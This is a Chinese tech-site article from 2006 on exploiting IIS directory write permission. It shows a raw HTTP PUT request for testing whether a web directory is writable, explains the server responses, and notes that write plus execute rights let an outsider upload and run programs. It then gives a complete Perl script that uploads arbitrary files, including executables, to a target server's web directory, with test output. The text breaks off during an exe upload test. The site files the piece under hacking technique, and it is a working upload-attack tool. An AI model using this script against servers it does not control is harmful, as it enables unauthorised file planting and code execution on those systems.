| 域名空间 下载中心 社区论坛 信息公告 my小屋 |
![]() |
联系我们 设为首页 加入收藏 |
|
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿 论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图 专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版 社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务 |
| 新版上线![旧版] | |||||
注:打开慢时请稍等
对iis写权限的利用http://www.iyit.net 日期:2006-10-12 17:34:36 来源: 点击: |
写权限 测试一个目录对于web用户是否具有写权限,采用如下方法:telnet到服务器的web端口(80)并发送一个如下请求: put /dir/my_file.txt http/1.1 host: iis-server content-length: 10 这时服务器会返回一个100( 继续)的信息: http/1.1 100 continue server: microsoft-iis/5.0 date: thu, 28 feb 2002 15:56:00 gmt 接着,我们输入10个字母: aaaaaaaaaa 送出这个请求后,看服务器的返回信息,如果是一个 201 created响应: http/1.1 201 created server: microsoft-iis/5.0 date: thu, 28 feb 2002 15:56:08 gmt location: http://iis-server/dir/my_file.txt content-length: 0 allow: options, trace, get, head, delete, put, copy, move, propfind, proppatch, search, lock, unlock 那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话,那么web用户就可以上传一个程序并且执行它,恐怖哦%^#$!~ 这里简单说明下: put /dir/my_file.txt http/1.1 host: iis-server content-length: 10 put:请求服务器将附件的实体储存在提供的请求url处,如果该请求url指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求url没有指向现存的资源,该url将被该请求的用户代理定义成为一个新的资源,原始服务器将用该url产生这个资源。 host:是http请求的发送地址 content-length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致 用nc(telnet)提交很烦琐,我们这里写个简单的perl程序,来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下: #!/usr/bin/perl use io::socket; $argc = @argv; if ($argc != 4) { print "usage:$0 127.0.0.1 80 kaka.exe /scripts/file.exe\n"; exit; } $host = @argv[0]; $port = @argv[1]; $file = @argv[2]; $path = @argv[3]; @s=stat("$file"); $size = $s[7]; #得到文件大小 print "$file size is $size bytes\n"; my $sock = io::socket::inet->new(proto =>"tcp", peeraddr =>$host, peerport =>$port) || die "sorry! could not connect to $host \n"; print $sock "put $path http/1.1\n"; print $sock "host: $host\n"; print $sock "content-length: $size\n\n"; #sock连接 open(file,"$file"); binmode(file); #用2进制打开文件 while (read(file,$char,1024)) { #读取文件数据上传 print $sock "$char"; } print $sock "\n\n"; @req = <$sock>; print "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ print "upfile succeed!!!" ; #成功显示 } else{ print "upfile faile!!!\n\n"; print @req;#如果失败显示返回错误 } close $sock; close file; 下面我们测试下: c:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /scripts/kaka.txt kaka.txt size is 14 bytes please wait... upfile succeed!!! c:\inetpub\scripts>dir kaka.txt 驱动器 c 中的卷没有标签。 卷的序列号是 3cd1-479e c:\inetpub\scripts 的目录 2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 0 个目录 3,871,080,448 可用字节 这里我们把kaka.txt成功上传到了web目录scripts下,以为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件: c:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /scripts/perl.exe perl.exe size is 20535 bytes please wait... 编辑: [发送给好友] [打印本页] [关闭窗口] [返回顶部] 上一篇:让你的密码成为黑客的“耻辱” 下一篇:入侵检测(id)faq 转载请注明来源:www.iyit.net 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
| 最新更新 | 热点排行 | 推荐新闻 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接 |
| |||||||